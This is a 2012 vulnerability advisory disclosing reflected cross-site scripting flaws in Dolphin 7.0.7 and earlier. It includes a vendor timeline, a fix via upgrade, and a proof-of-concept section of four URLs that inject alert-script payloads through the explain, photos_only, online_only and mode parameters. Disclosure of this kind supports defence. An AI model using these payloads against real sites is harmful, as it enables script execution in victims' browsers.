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Dolphin 7.0.7 <= Multiple Cross Site Scripting Vulnerabilities
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1. OVERVIEW

Dolphin 7.0.7 and lower versions are vulnerable to Cross Site Scripting.


2. BACKGROUND

Dolphin is the only "all-in-one" free community software platform for creating your own social networking, community or online dating site without any limits and under your full control. Dolphin comes with hundreds of features, module plugins and tools. Everything is included and extension posibilities are literally endless. You can use it for free with a BoonEx link in the footer or buy a $99 permanent license to remove that requirement.


3. VULNERABILITY DESCRIPTION

Multiple parameters (explain,photos_only,online_only,mode) were not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 


4. VERSIONS AFFECTED

7.0.7 and lower


5. PROOF-OF-CONCEPT/EXPLOIT

Vulnerable Parameter: explain

http://localhost/dolph/explanation.php?explain=%27%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E


Vulnerable Parameters: photos_only,online_only,mode

http://localhost/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&photos_only='"><script>alert(/xss/)</script>

http://localhost/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&online_only='"><script>alert(/xss/)</script>

http://localhost/dolph/viewFriends.php?iUser=1&page=1&sort=activity&mode='"><script>alert(/xss/)</script>


6. SOLUTION

Upgade to the latest version of Dolphine. 


7. VENDOR

BoonEx Pty Ltd
http://www.boonex.com/


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2011-06-09: notified vendor
2011-10-24: fixed version, 7.0.8, released
2012-02-20: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5BDolphin_7.0.7%5D_xss
BoonEx Home Page: http://www.boonex.com/


#yehg [2012-02-20]